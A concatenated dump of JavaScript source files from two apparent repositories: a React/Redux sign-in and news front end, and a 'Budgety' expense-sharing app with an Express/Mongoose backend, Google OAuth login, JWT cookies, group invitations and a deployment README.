onChange={this.handleChange}
variant="outlined"
required
fullWidth
name="Password"
label="Password"
type="password"
id="password"
autoComplete="current-password"
/>
</Grid>
</Grid>
{(errorMessage || this.props.errorMessage) && <span style={{ color: 'red' }}>{errorMessage || this.props.errorMessage} </span>}
<Button
fullWidth
variant="contained"
color="primary"
className={classes.submit}
onClick={this.handleRegister}
>
Sign Up
</Button>
<Grid container justify="flex-end">
<Grid item>
<Link className={classes.link} onClick={() => this.props.history.push('/')} variant="body2">
Already have an account? Sign in
</Link>
</Grid>
</Grid>
</div>
</Container>
);
}
}
const mapStateToProps = (state) => ({
isLoading: accountSelectors.isLoading(state),
errorMessage: accountSelectors.errorMessage(state),
success: accountSelectors.success(state),
});
const mapDispatchToProps = (dispatch) => bindActionCreators(
{
register: accountAcctions.register,
},
dispatch);
export default connect(mapStateToProps, mapDispatchToProps)(withStyles(useStyles)(withRouter(Register)));<file_sep>/src/API/news.js
import { fetchGet, fetchPost } from './util';
export const get = () => {
return fetchGet('api/news/getAllNews').then(res => res)
}
export const getById = (data) => {
return fetchGet('api/news/getAllNews/' + data.Id).then(res => res)
}
export const post = (data) => {
return fetchPost('api/news/create', data).then(res => res)
}
export const remove = (data) => {
return fetchPost(`api/news/remove/${data.Id}`).then(res => res)
}
export const getArticle = () => {
return fetchGet('api/article').then(res => res)
}
<file_sep>/src/Ducks/account.js
import {
createActions, asyncInitialState, asyncOnRequest,
asyncOnSuccess, asyncOnError, asyncSelectors
} from './utils';
export const { types, actions } = createActions({
logout: () => null,
asyncs: {
login: (data) => (data),
register: (data) => (data),
}
}, 'account');
let initialState = asyncInitialState({
isLoggedIn: !!localStorage.getItem('token'),
user: null,
errorMessage: '',
success: null
});
export default (state = initialState, action) => {
switch (action.type) {
case types.logout:
localStorage.removeItem('token');
return {
...initialState,
data: {
...initialState.data,
isLoggedIn: false
}
}
case types.login:
return asyncOnRequest(state, action);
case types.saga.login.success:
return asyncOnSuccess(state, action, (data, action) => {
const user = action.payload.user;
let success = action.payload.success;
if (success) {
const { token } = action.payload;
if (token) {
localStorage.setItem('token', token.access_token)
}
}
return {
...data,
user,
isLoggedIn: success,
errorMessage: action.payload.message
};
})
case types.saga.login.failure:
return asyncOnError(state, action)
case types.register:
return asyncOnRequest(state, action);
case types.saga.register.success:
return asyncOnSuccess(state, action, (data, action) => {
const user = action.payload.user;
let success = action.payload.success;
return {
...data,
user,
errorMessage: action.payload.message,
success
};
})
case types.saga.register.failure:
return asyncOnError(state, action)
default:
return state
}
}
const asyncSelector = asyncSelectors(
(state) => state.account,
{
user: (data) => data.user,
errorMessage: (data) => data.errorMessage,
success: (data) => data.success,
// isLoggedIn: (data) => data.isLoggedIn,
}
)
const syncSelector = {
isLoading: (state) => state.account.isLoading,
isLoggedIn: (state) => state.account.data.isLoggedIn,
}
export const selectors = Object.assign({}, asyncSelector, syncSelector)<file_sep>/src/Saga/account.js
import { call } from 'redux-saga/effects';
import { takeLatest } from 'redux-saga/effects';
import { types as accountTypes, actions as accountActions } from '../Ducks/account';
import { callApi } from './utils';
import * as api from '../API/account';
function* login(action) {
const { success, failure } = accountActions.saga.login;
yield callApi(
call(api.login, action.data),
success,
failure
)
}
function* register(action) {
const { success, failure } = accountActions.saga.register;
yield callApi(
call(api.register, action.data),
success,
failure
)
}
export default function* rootCustomerSaga() {
yield takeLatest(accountTypes.login, login)
yield takeLatest(accountTypes.register, register)
}<file_sep>/src/Saga/news.js
import { call } from 'redux-saga/effects';
import { takeLatest } from 'redux-saga/effects';
import { types as newsTypes, actions as newsActions } from '../Ducks/news';
import { callApi } from './utils';
import * as api from '../API/news';
function* get(action) {
const { success, failure } = newsActions.saga.get;
yield callApi(
call(api.get, action.data),
success,
failure
)
}
function* post(action) {
const { success, failure } = newsActions.saga.post;
yield callApi(
call(api.post, action.data),
success,
failure
)
}
function* remove(action) {
const { success, failure } = newsActions.saga.remove;
yield callApi(
call(api.remove, action.data),
success,
failure
)
}
function* getArticle(action) {
const { success, failure } = newsActions.saga.getArticle;
yield callApi(
call(api.getArticle, action.data),
success,
failure
)
}
function* getById(action) {
const { success, failure } = newsActions.saga.getById;
yield callApi(
call(api.getById, action.data),
success,
failure
)
}
export default function* rootCustomerSaga() {
yield takeLatest(newsTypes.get, get);
yield takeLatest(newsTypes.get, getById);
yield takeLatest(newsTypes.post, post);
yield takeLatest(newsTypes.remove, remove);
yield takeLatest(newsTypes.getArticle, getArticle);
}<file_sep>/src/Saga/index.js
import { fork } from 'redux-saga/effects';
import account from './account';
import news from './news';
export default function* rootSaga(){
yield fork(account);
yield fork(news);
}<file_sep>/src/Components/Containers/SignIn.js
import React from 'react';
import Avatar from '@material-ui/core/Avatar';
import Button from '@material-ui/core/Button';
import TextField from '@material-ui/core/TextField';
import Link from '@material-ui/core/Link';
import Grid from '@material-ui/core/Grid';
import LockOutlinedIcon from '@material-ui/icons/LockOutlined';
import Typography from '@material-ui/core/Typography';
import { withStyles } from '@material-ui/core/styles';
import Container from '@material-ui/core/Container';
import { selectors as accountSelectors, actions as accountActions } from '../../Ducks/account';
import { bindActionCreators } from 'redux';
import { connect } from 'react-redux';
import { withRouter } from 'react-router-dom';
const useStyles = theme => ({
'@global': {
body: {
backgroundColor: theme.palette.common.white,
},
},
paper: {
marginTop: theme.spacing(8),
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
},
avatar: {
margin: theme.spacing(1),
backgroundColor: theme.palette.secondary.main,
},
form: {
width: '100%', // Fix IE 11 issue.
marginTop: theme.spacing(1),
},
submit: {
margin: theme.spacing(3, 0, 2),
},
link: {
cursor: 'pointer'
}
});
class SignIn extends React.Component {
constructor(props) {
super(props);
this.state = {
UserName: '',
Password: '',
ErrorMessage: ''
}
}
handleLogin = () => {
const { UserName, Password } = this.state;
if (UserName && Password) {
this.props.login({ UserName, Password })
}
}
handleChange = ({ target: { name, value } }) => {
this.setState({ [name]: value });
}
componentDidUpdate(prevProps) {
const { isLoggedIn } = this.props;
if(isLoggedIn && !prevProps.isLoggedIn){
this.props.history.push('/');
}
}
render() {
const { classes, errorMessage } = this.props;
const { UserName, Password } = this.state;
return (
<Container component="main" maxWidth="xs">
<div className={classes.paper}>
<Avatar className={classes.avatar}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign in1
</Typography>
<TextField
value={UserName}
onChange={this.handleChange}
variant="outlined"
margin="normal"
required
fullWidth
id="email"
label="Email Address"
name="UserName"
autoComplete="email"
/>
<TextField
value={Password}
onChange={this.handleChange}
variant="outlined"
margin="normal"
required
fullWidth
name="<PASSWORD>"
label="Password"
type="<PASSWORD>"
id="password"
autoComplete="current-password"
/>
{ errorMessage && <span style={{color: 'red'}}>{errorMessage} </span>}
<Button
fullWidth
variant="contained"
color="primary"
className={classes.submit}
onClick={this.handleLogin}
>
Sign In
</Button>
<Grid container>
<Grid item>
<Link className={classes.link} onClick={() => this.props.history.push('/register')} variant="body2">
{"Don't have an account? Sign Up"}
</Link>
</Grid>
</Grid>
</div>
</Container>
);
}
}
const mapStateToProps = (state) => ({
isLoading: accountSelectors.isLoading(state),
errorMessage: accountSelectors.errorMessage(state),
isLoggedIn: accountSelectors.isLoggedIn(state)
});
const mapDispatchToProps = (dispatch) => bindActionCreators(
{
login: accountActions.login,
},
dispatch);
export default connect(mapStateToProps, mapDispatchToProps)(withStyles(useStyles)(withRouter(SignIn)));<file_sep>/src/API/account.js
import { BASE_URL } from './util';
export const login = (data) => {
return fetch(BASE_URL + 'api/account/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data)
}).then((res) => {
return res.json();
});
}
export const register = (data) => {
return fetch(BASE_URL + 'api/account/register', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data)
}).then((res) => {
return res.json();
});
}
|
087ab20768796e4249d0cbd6a1d7ce4117f8f5fe
|
[
"JavaScript"
] | 10
|
JavaScript
|
IAmHammadAli/vod-frontend
|
64ddfdd2069c8cca95a8b8b26d3d344f787fedaf
|
c0128f37ad1af3c27b6b905608006dcd26a0322f
|
refs/heads/master
|
<file_sep>import React, { useState } from 'react';
import { putRequest } from '../api';
import { getIdFromUri } from '../Groups/Group';
import { ACTIONS } from '../Groups/actions';
const update = data => {
const groupId = getIdFromUri();
const path = `groups/${groupId}`;
return putRequest(path, { ...data, groupId });
};
const onInvite = async data => {
try {
await update(data);
} catch (error) {
console.error(error);
}
};
const replaceLocationWithPath = path => {
window.location = `#${path}`;
};
const InlineButton = ({ children, onClick, ...rest }) => {
const { path } = rest;
const onButtonClick = () => onClick(path);
return (
<span className="inline-button" onClick={onButtonClick}>
{children}
</span>
);
};
const Invite = ({ allData: { currentUser, groups } }) => {
const [email, setEmail] = useState('');
const { INVITE } = ACTIONS;
const onEmailChange = () => {
const {
target: { value }
} = event;
setEmail(value);
};
const groupId = getIdFromUri();
const { name: groupName } = groups[groupId] || {};
const path = `groups/${groupId}`;
return (
<div>
<h1>
Invite member to{' '}
<InlineButton onClick={replaceLocationWithPath} path={path}>
{groupName}
</InlineButton>
</h1>
<form
className="row-spacing"
onSubmit={() => {
currentUser && onInvite({ user: currentUser, email, action: INVITE });
}}
>
<div className="field">
<label>Email</label>
<input
onChange={onEmailChange}
placeholder="<EMAIL>"
type="email"
/>
</div>
<input type="submit" value="invite" />
</form>
</div>
);
};
export default Invite;
<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const User = new Schema({
_id: {
type: String
},
email: {
type: String
},
name: {
type: String
},
groupsMember: [{ type: String, ref: 'Groups' }],
groupsInvitedTo: [{ type: String, ref: 'Groups' }],
groupsRejected: [{ type: String, ref: 'Groups' }]
});
module.exports = mongoose.model('Users', User);
<file_sep>import React from 'react';
import Navbar from '../Navbar';
import Main from '../Main';
const Home = ({ allData }) => {
const { currentUser } = allData;
console.log({ allData });
return (
<div className="home-container">
<div className="navbar-container">
<Navbar currentUser={currentUser} />
</div>
<div className="main-container">
<Main allData={allData} />
</div>
</div>
);
};
export default Home;
<file_sep>import React, { Component } from 'react';
import { getRequest, putRequest, deleteRequest } from '../api';
class Edit extends Component {
constructor(props) {
super(props);
this.state = {
amount: ''
};
}
componentDidMount = async () => {
const {
match: {
params: { id }
}
} = this.props;
const {
data: { amount }
} = await getRequest(`/expences/${id}`);
this.setState({
amount
});
};
onSubmit = async event => {
event.preventDefault();
const {
match: {
params: { id }
}
} = this.props;
const expence = this.state;
await putRequest(`expences/${id}`, expence);
this.props.history.push('/');
};
onDeleteClick = async () => {
const {
match: {
params: { id }
}
} = this.props;
await deleteRequest(`/expences/${id}`);
this.props.history.push('/');
};
onChangeExpenceAmount = event => {
const { value } = event.target;
this.setState({
amount: value
});
};
render() {
const { amount } = this.state;
const { onChangeExpenceAmount, onSubmit, onDeleteClick } = this;
return (
<div>
<h3 align="center">Update Expence</h3>
<form onSubmit={onSubmit}>
<div className="form-group">
<label>Amount: </label>
<input
className="form-control"
onChange={onChangeExpenceAmount}
type="text"
value={amount}
/>
</div>
<br />
<div className="form-group">
<input
className="btn btn-primary"
type="submit"
value="Update Expence"
/>
</div>
</form>
<button className="btn btn-danger" onClick={onDeleteClick}>
delete
</button>
</div>
);
}
}
export default Edit;
<file_sep>import { v4 as uuid } from 'uuid';
import jwt from 'jsonwebtoken';
import { ACCESS_TOKEN_COOKIE_NAME, COOKIE_SECRET } from '../../environment';
const Expence = require('./Model');
const User = require('../users/Model');
const getCurrentUserId = async req => {
const accessTokenCookie =
req && req.cookies && req.cookies[ACCESS_TOKEN_COOKIE_NAME];
const maybeSignedToken = jwt.verify(accessTokenCookie, COOKIE_SECRET);
const { email } = maybeSignedToken || {};
try {
const { _id: currentUserId } = await User.findOne({ email });
if (!currentUserId) {
throw new Error('Current user not found!');
}
return currentUserId;
} catch (error) {
console.error(error);
}
};
export const show = async (req, res) => {
const {
params: { id }
} = req;
try {
const expence = await Expence.findOne({ _id: id });
return res.json(expence);
} catch (error) {
console.error(error);
return res.sendStatus(500);
}
};
export const list = async (req, res) => {
try {
const currentUserId = await getCurrentUserId(req);
const expences = await Expence.find({ user_id: currentUserId });
return res.status(200).json(expences);
} catch (error) {
console.error(error);
return res.sendStatus(500);
}
};
export const update = (req, res) => {
const {
params: { id }
} = req;
Expence.findById(id, expence => {
if (!expence) {
res.status(404).send('Expence is not found');
}
const {
body: { amount }
} = req;
expence.amount = amount;
expence
.save()
.then(() => {
res.json('Expence updated!');
})
.catch(() => {
res.status(400).send('Update not possible');
});
});
};
export const remove = async (req, res) => {
const {
params: { id }
} = req;
Expence.findById(id, (_, expence) => {
expence
.remove()
.then(() => {
res.json('Expence deleted!');
})
.catch(() => {
res.status(400).send('Update not possible');
});
});
};
export const create = async (req, res) => {
const { body: { amount, userId } = {} } = req;
const id = uuid();
const expence = new Expence({ amount, _id: id, user_id: userId });
expence
.save()
.then(() => {
res.status(200).json({ expence: 'Expence added successfully' });
})
.catch(() => {
res.status(400).send('adding new expence failed');
});
};
<file_sep>import React from 'react';
import { Link as ReactLink } from 'react-router-dom';
const Link = ({ children, path, ...rest }) => (
<ReactLink to={path} {...rest}>
{children}
</ReactLink>
);
export default Link;
<file_sep>export const any = array => array && array.length > 0;
<file_sep>import express from 'express';
import expencesRouter from './expences/router';
import usersRouter from './users/router';
import groupsRouter from './groups/router';
const router = express.Router();
router.use('/expences', expencesRouter);
router.use('/groups', groupsRouter);
router.use('/users', usersRouter);
export default router;
<file_sep>import React, { useState } from 'react';
import { postRequest } from '../api';
import { useDatabaseData } from '../hooks';
const onChange = set => event => set(event.target.value);
const Create = () => {
const [amount, setAmount] = useState('');
const { currentUser } = useDatabaseData();
const onChangeExpenceAmount = onChange(setAmount);
const clearState = () => setAmount('');
const onSubmit = async event => {
event.preventDefault();
const { _id: currentUserId } = currentUser;
const expence = { amount, userId: currentUserId };
await postRequest('expences/add', expence);
clearState();
};
return (
<div style={{ marginTop: 10 }}>
<h3>Create New Expence</h3>
<form onSubmit={onSubmit}>
<div className="form-group">
<label>Amount: </label>
<input
className="form-control"
onChange={onChangeExpenceAmount}
type="text"
value={amount}
/>
</div>
<div className="form-group">
<input
className="btn btn-primary"
disabled={!amount}
type="submit"
value="Create Expence"
/>
</div>
</form>
</div>
);
};
export default Create;
<file_sep>import { v4 as uuid } from 'uuid';
import jwt from 'jsonwebtoken';
const Group = require('./Model');
const User = require('../users/Model');
import { ACCESS_TOKEN_COOKIE_NAME, COOKIE_SECRET } from '../../environment';
import { acceptInvitaion, invite } from './helpers';
const ACTIONS = { ACCEPT: 'ACCEPT', REJECT: 'REJECT', INVITE: 'INVITE' };
const getCurrentUserId = async req => {
const accessTokenCookie =
req && req.cookies && req.cookies[ACCESS_TOKEN_COOKIE_NAME];
const maybeSignedToken = jwt.verify(accessTokenCookie, COOKIE_SECRET);
const { email } = maybeSignedToken || {};
try {
const { _id: currentUserId } = await User.findOne({ email });
if (!currentUserId) {
throw new Error('Current user not found!');
}
return currentUserId;
} catch (error) {
console.error(error);
}
};
const updateUser = async user => await user.save();
export const show = async (req, res) => {
const {
params: { id }
} = req;
try {
const groupShip = await Group.findOne({ _id: id });
return res.json(groupShip);
} catch (error) {
console.error(error);
return res.sendStatus(500);
}
};
export const list = async (req, res) => {
Group.find((err, groups) => {
if (err) {
console.log(err);
} else {
res.json(groups);
}
});
};
export const create = async (req, res) => {
const { body } = req;
const { user: { email = '' } = {}, name } = body;
const currentUser = await User.findOne({ email });
try {
if (name) {
const id = uuid();
const group = new Group({
_id: id,
name,
members: currentUser
});
const userGroups = currentUser.groupsMember;
currentUser.groupsMember = [...userGroups, group];
await updateUser(currentUser);
await group.save();
} else {
throw new Error('Something went wrong while creating a group!');
}
} catch (error) {
console.error(error);
res.sendStatus(500);
}
res.sendStatus(200);
};
export const update = async (req, res) => {
const {
body,
params: { id: groupId }
} = req;
const { email = '', action } = body;
const { ACCEPT, INVITE, REJECT } = ACTIONS;
try {
const userToUpdate = await User.findOne({ email });
const groupToUpdate = await Group.findOne({ _id: groupId });
switch (action) {
case ACCEPT:
await acceptInvitaion(userToUpdate, groupToUpdate);
console.log('Invitation accepted');
break;
case INVITE:
await invite(userToUpdate, groupToUpdate);
console.log('Invitation sent');
break;
case REJECT:
console.log('Currently reject the member is not possible');
break;
}
return res.sendStatus(200);
} catch (error) {
console.error(error);
res.sendStatus(500);
}
res.sendStatus(200);
};
<file_sep>import _ from 'lodash';
import User from './api/users/Model';
import Group from './api/groups/Model';
import Expence from './api/expences/Model';
const allUserGroups = user => {
const { groupsMember, groupsInvitedTo } = user || {};
return [...groupsMember, ...groupsInvitedTo];
};
export const usersQuery = async () => {
const users = await User.find({});
if (!users) {
throw new Error(
'Something went wrong. Users are no available at the moment!'
);
}
const usersView = _.keyBy(users, '_id');
return usersView;
};
export const groupsQuery = async currentUser => {
const groups = await Group.find({});
const allcurrentUserGroups = allUserGroups(currentUser);
const currentUserGroups = groups.filter(({ _id: id }) =>
allcurrentUserGroups.includes(id)
);
if (!groups) {
throw new Error(
'Something went wrong. Groups are no available at the moment!'
);
}
const groupsView = _.keyBy(currentUserGroups, '_id');
return groupsView;
};
export const expencesQuery = async () => {
const expences = await Expence.find({});
if (!expences) {
throw new Error(
'Something went wrong. Expences are no available at the moment!'
);
}
const expencesView = _.keyBy(expences, '_id');
return expencesView;
};
export const currentUserQuery = async email => {
const currentUser = await User.findOne({ email });
if (!currentUser) {
throw new Error('User is not signed in!');
}
return currentUser;
};
<file_sep>import React from 'react';
const Member = () => <h1>MEMBER</h1>;
export default Member;
<file_sep>import { useState, useEffect } from 'react';
import { getRequest } from './api';
export const useDatabaseData = () => {
const [allData, setDatabaseData] = useState(undefined);
useEffect(() => {
const fetchData = async () => {
try {
const { data } = await getRequest();
setDatabaseData(data);
} catch (error) {
setDatabaseData(null);
console.error(error);
}
};
fetchData();
}, []);
return allData;
};
<file_sep>import React from 'react';
import Link from './UI/Link';
import {
Home as DashboardIcon,
MoneyOff as ExpencesIcon,
AttachMoney as IncomesIcon,
SettingsApplication as SettingsIcon,
ExitToApp as LogOutIcon,
People as GroupsApp
} from './UI/icons';
import { getRequest } from './api';
const logOut = async () => {
try {
await getRequest('logout');
location.reload();
} catch (error) {
console.error(error);
}
};
const Navbar = ({ currentUser }) => (
<div className="navbar-container">
<nav>
<Link path="/">Budgety</Link>
<div>
<h1>Hello, {currentUser && currentUser.name}</h1>
</div>
<div className="links row-spacing-half">
<Link path="/">
<div className="link col-spacing">
<DashboardIcon />
<div>Dashboard</div>
</div>
</Link>
<Link path="/groups">
<div className="link col-spacing">
<GroupsApp />
<div>Groups</div>
</div>
</Link>
<Link path="/expences">
<div className="link col-spacing">
<ExpencesIcon />
<div>Expences</div>
</div>
</Link>
<Link path="/incomes">
<div className="link col-spacing">
<IncomesIcon />
<div>Incomes</div>
</div>
</Link>
<Link path="/settings">
<div className="link col-spacing">
<SettingsIcon />
<div>Settings</div>
</div>
</Link>
<div className="pretend-link" onClick={logOut}>
<div className="link col-spacing">
<LogOutIcon /> <div>Logout</div>
</div>
</div>
</div>
</nav>
</div>
);
export default Navbar;
<file_sep>import React from 'react';
import Create from './Create';
import Link from '../UI/Link';
const Group = ({ name = '', id }) => {
const path = `/groups/${id}`;
return (
<div className="group">
<Link path={path}>
<h2>name: {name}</h2>
<h3>Description:</h3>
<p>
It is a long established fact that a reader will be distracted by the
readable content of a page when looking at its layout.
</p>
</Link>
</div>
);
};
export const GroupList = ({ invited = false, groups, currentUser, users }) => {
const userGroupsIds = invited
? currentUser.groupsInvitedTo
: currentUser.groupsMember;
return userGroupsIds.map(groupId => {
const { name, members = [] } = groups[groupId];
return (
<Group
id={groupId}
key={groupId}
members={members}
name={name}
users={users}
/>
);
});
};
const Groups = ({ allData: { currentUser, groups, users } }) => {
return (
<div>
<Create currentUser={currentUser} />
<h1>Your groups</h1>
{groups && (
<div className="groups-wrapper col-spacing row-spacing">
<GroupList currentUser={currentUser} groups={groups} users={users} />
</div>
)}
</div>
);
};
export default Groups;
<file_sep>import React from 'react';
import Member from './Member';
const TableHeader = () => (
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>e-mail</th>
</tr>
</thead>
);
const Members = ({
invited = false,
groupId,
membersIds,
users,
currentUser
}) =>
membersIds && (
<div>
<h3>{invited ? 'Invited' : 'Members'}:</h3>
<table>
<TableHeader />
{membersIds.map((memberId, index) => {
const displayIndex = index + 1;
return (
<Member
currentUser={currentUser}
groupId={groupId}
id={memberId}
index={displayIndex}
invited={invited}
key={memberId}
member={users[memberId]}
/>
);
})}
</table>
</div>
);
export default Members;
<file_sep>import React from 'react';
const Avatar = ({ name }) => (
<div className="avatar-box">
<span>{name.charAt(0).toUpperCase()}</span>
</div>
);
export default Avatar;
<file_sep>import React, { useState } from 'react';
import { postRequest } from '../api';
const create = data => postRequest('groups', data);
const onCreateGroup = async data => {
try {
await create(data);
} catch (error) {
console.error(error);
}
};
const Create = ({ currentUser }) => {
const [name, setName] = useState('');
const setGroupName = () => {
const {
target: { value }
} = event;
setName(value);
};
return (
<div>
<h1>Create group</h1>
<form
onSubmit={() => {
currentUser && onCreateGroup({ user: currentUser, name });
}}
>
<input onChange={setGroupName} type="text" />
<input type="submit" value="Create" />
</form>
</div>
);
};
export default Create;
<file_sep># Budgety react app(in progress)
This app is created to calculate budget with my hommies. App is deployed on [AWS](http://ec2-18-216-56-193.us-east-2.compute.amazonaws.com).
## dev
Steps to start the app:
1. Install dependencies `npm install` in root folder
2. Start development mode of the app `npm run start`
### Project consists of:
App consist of:
Backend:
- NodeJS
- Express
- Mongoose
- JWT tokens - to sign data stored in cookie. This ensures me that the data comes from my server.
Database:
- Mongo
Frontend:
- React
- Webpack
- Jest
- SASS
#### TODO (Still in progress)
1. Deploying automation
2. Optimize wepback production config file
3. Many more features...
### Deploy Server (AWS)
0. Make sure to update the `.env` file if needed.
1. Install deps `npm install`
1. Restart [pm2](http://pm2.keymetrics.io/docs/usage/quick-start/) process `pm2 start npm --name "backend" -- run start:production`
### Deploy Client (AWS)
0. Make sure to update the `.env` file if needed.
- Build the project with `npm run build`
- Make sure you are in `dist` dir.
- Transfer files existnig in dist `scp -i ~/.ssh/sshFileName.pem * userName@hostName:~/dirName`
- Transfer also the `static-server.js`(the way as server).
##### Deploying client-server (Heroku) - not supported any more
0. Make sure to update the `.env` file if needed.
- Check `.env` variables on client side
- Build client `npm run build` make sure you are in the client directory
- Copy builded files to `public` direactory on server and commit changes
- Push changes to heroku master `git push heroku master`
- Revert `.env` variables on the client side if needed
<file_sep>const mongoose = require('mongoose');
import { DB_URI } from './environment';
export const db_connect = () => {
mongoose.connect(DB_URI, {
useNewUrlParser: true
});
const { connection } = mongoose;
connection.once('open', () => {
console.log('MongoDB database connection established successfully');
});
};
<file_sep>import React from 'react';
import { Route, Switch } from 'react-router-dom';
import Expences from './expences/Expences';
import Create from './expences/Create';
import Edit from './expences/Edit';
import Dashboard from './Dashboard/Dashboard';
import Groups from './Groups/Groups';
import Group from './Groups/Group';
import Member from './Members/Member';
import Invite from './Members/Invite';
//passing props needs to be improved!
const Routes = props => {
const {
allData: { groups, users, currentUser }
} = props;
console.log({ location, props });
return (
<Switch>
<Route component={() => <Dashboard {...props} />} exact path="/" />
<Route component={() => <Groups {...props} />} exact path="/groups" />
<Route
component={() => (
<Group currentUser={currentUser} groups={groups} users={users} />
)}
exact
path="/groups/:groupId"
/>
<Route
component={() => <Invite {...props} />}
exact
path="/groups/:groupId/members/new"
/>
<Route
component={() => <Member {...props} />}
exact
path="/groups/:groupId/members/:userId"
/>
<Route component={Expences} exact path="/expences" />
<Route component={Edit} path="/expences/edit/:id" />
<Route component={Create} path="/expences/create" />
</Switch>
);
};
export default Routes;
<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const Group = new Schema({
_id: {
type: String
},
name: {
type: String,
required: true
},
owner: { type: String, ref: 'Users' },
rejected: [{ type: String, ref: 'Users' }],
invited: [{ type: String, ref: 'Users' }],
members: [{ type: String, ref: 'Users' }]
});
module.exports = mongoose.model('Groups', Group);
<file_sep>import React from 'react';
import { Done as AcceptIcon } from '../UI/icons';
import { putRequest } from '../api';
import Link from '../UI/Link';
import { ACTIONS } from './actions';
const ActionButtons = ({ groupId, email }) => {
const { ACCEPT } = ACTIONS;
const data = { email, action: ACCEPT };
return (
<div className="action-buttons">
<AcceptIcon
className="accept-icon"
onClick={() => putRequest(`groups/${groupId}`, data)}
/>
</div>
);
};
const Member = ({
currentUser: { _id: currentUserId },
invited,
groupId,
id: memberId,
index,
member: { name, email } = {}
}) => {
const even = index % 2 === 0 ? 'even' : '';
const path = `/groups/${groupId}/members/${memberId}/`;
const maybeCurrentUser = currentUserId === memberId;
return (
<tr className={even}>
<td>{index}</td>
<td>
<Link path={path}>{name}</Link>
</td>
<td>{email}</td>
{maybeCurrentUser && invited && (
<td>
<ActionButtons email={email} groupId={groupId} />
</td>
)}
</tr>
);
};
export default Member;
<file_sep>import React from 'react';
import _ from 'lodash';
import { GroupList } from '../Groups/Groups';
const Dashboard = ({ allData: { currentUser, groups, users } }) => {
const { groupsInvitedTo } = currentUser;
const currentUserInvitedToGroups = groupsInvitedTo.map(
groupId => groups[groupId]
);
const currentUserInvitedToGroupsView = _.keyBy(
currentUserInvitedToGroups,
'_id'
);
return (
<div>
<h1>Dashboard</h1>
<GroupList
currentUser={currentUser}
groups={currentUserInvitedToGroupsView}
invited
users={users}
/>
</div>
);
};
export default Dashboard;
<file_sep>import { v4 as uuid } from 'uuid';
const User = require('./Model');
export const show = async (req, res) => {
const {
params: { id }
} = req;
try {
const user = await User.findOne({ _id: id });
return res.json(user);
} catch (error) {
console.error(error);
return res.sendStatus(500);
}
};
export const list = async (req, res) => {
User.find((err, users) => {
if (err) {
console.log(err);
} else {
res.json(users);
}
});
};
export const create = async (req, res) => {
const { body } = req;
const { user: { name = '', email = '' } = {} } = body;
try {
if (name) {
const id = uuid();
const user = new User({ _id: id, name, email });
await user.save();
} else {
throw new Error('User must have at least a name!');
}
} catch (error) {
console.error(error);
res.sendStatus(500);
}
res.sendStatus(200);
};
<file_sep>import { db_connect } from './db';
import {
ACCESS_TOKEN_COOKIE_NAME,
FULL_CLIENT_HOST_URI,
BACKEND_PORT,
COOKIE_SECRET,
HOST_URI,
GOOGLE_CLIENT_ID,
GOOGLE_CLIENT_SECRET
} from './environment';
import cookieParser from 'cookie-parser';
import express from 'express';
import bodyParser from 'body-parser';
import cors from 'cors';
import { v4 as uuid } from 'uuid';
import jwt from 'jsonwebtoken';
import passport from 'passport';
import apiRouter from './api/router';
import {
usersQuery,
expencesQuery,
groupsQuery,
currentUserQuery
} from './queries';
import User from './api/users/Model';
const GoogleStrategy = require('passport-google-oauth20').Strategy;
const checkTokenAuthorization = (req, res, next) => {
const tokenWithBearer =
req.headers['x-access-token'] || req.headers['authorization'];
if (!tokenWithBearer) {
console.error('No token found!');
return res.sendStatus(500);
}
if (!tokenWithBearer.startsWith('Bearer ')) {
console.error('Invalid token!');
return res.sendStatus(500);
}
const token = tokenWithBearer.slice(7, tokenWithBearer.length);
if (!token) {
console.error("Invalid token's signature!");
return res.sendStatus(500);
}
jwt.verify(token, COOKIE_SECRET, (err, decoded) => {
if (err) {
console.error(err);
return res.sendStatus(500);
} else {
req.decoded = decoded;
next();
}
});
};
const app = express();
app.use(cors());
app.use(bodyParser.json());
app.use(cookieParser());
passport.use(
new GoogleStrategy(
{
clientID: GOOGLE_CLIENT_ID,
clientSecret: GOOGLE_CLIENT_SECRET,
callbackURL: `${FULL_CLIENT_HOST_URI}/api/auth/google/callback`
},
(accessToken, refreshToken, profile, done) => {
const userData = {
email: profile.emails[0].value,
name: profile.displayName,
token: accessToken
};
console.log({ userData });
done(null, userData);
}
)
);
app.get(
'/api/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get(
'/api/auth/google/callback',
passport.authenticate('google', {
failureRedirect: '/login',
session: false
}),
async (req, res, next) => {
const { email, name } = req.user;
try {
const user = await User.findOne({ email });
if (!user) {
const user = new User({ _id: uuid(), name, email });
user
.save()
.then(() => {
res.status(200).json({ USER: 'User added successfully' });
})
.catch(() => {
res.status(400).send('adding new user failed');
});
}
const signedToken = jwt.sign(
JSON.stringify({ email, name }),
COOKIE_SECRET
);
res.cookie(ACCESS_TOKEN_COOKIE_NAME, signedToken);
return res.redirect(FULL_CLIENT_HOST_URI);
} catch (error) {
console.error(error);
return res.sendStatus(500);
}
}
);
app.get('/api/logout', (req, res) => {
try {
res.clearCookie(ACCESS_TOKEN_COOKIE_NAME);
} catch (error) {
return console.error(error);
}
res.redirect('/');
return res.end();
});
app.all('*', checkTokenAuthorization);
db_connect();
app.use('/api', apiRouter);
const query = async token => {
const { email } = token;
const currentUser = await currentUserQuery(email);
const usersView = await usersQuery();
const groupsView = await groupsQuery(currentUser);
const expencesView = await expencesQuery();
return { currentUser, usersView, groupsView, expencesView };
};
app.use('/', async (req, res) => {
const accessTokenCookie =
req && req.cookies && req.cookies[ACCESS_TOKEN_COOKIE_NAME];
if (!accessTokenCookie) {
return res.redirect('/login');
}
const maybeSignedToken = jwt.verify(accessTokenCookie, COOKIE_SECRET);
if (!maybeSignedToken) {
return res.redirect('/login');
}
try {
const { currentUser, usersView, groupsView, expencesView } = await query(
maybeSignedToken
);
res.status(200).send({
currentUser,
users: usersView,
groups: groupsView,
expences: expencesView
});
return res.end();
} catch (error) {
console.error(error);
return res.redirect('/login');
}
});
app.listen(BACKEND_PORT, () => {
console.log('Backend server is running on Port: ' + BACKEND_PORT);
});
<file_sep>import axios from 'axios';
import { FULL_HOST_URI } from '../environment';
const COOKIE_TOKEN_NAME = 'access_token';
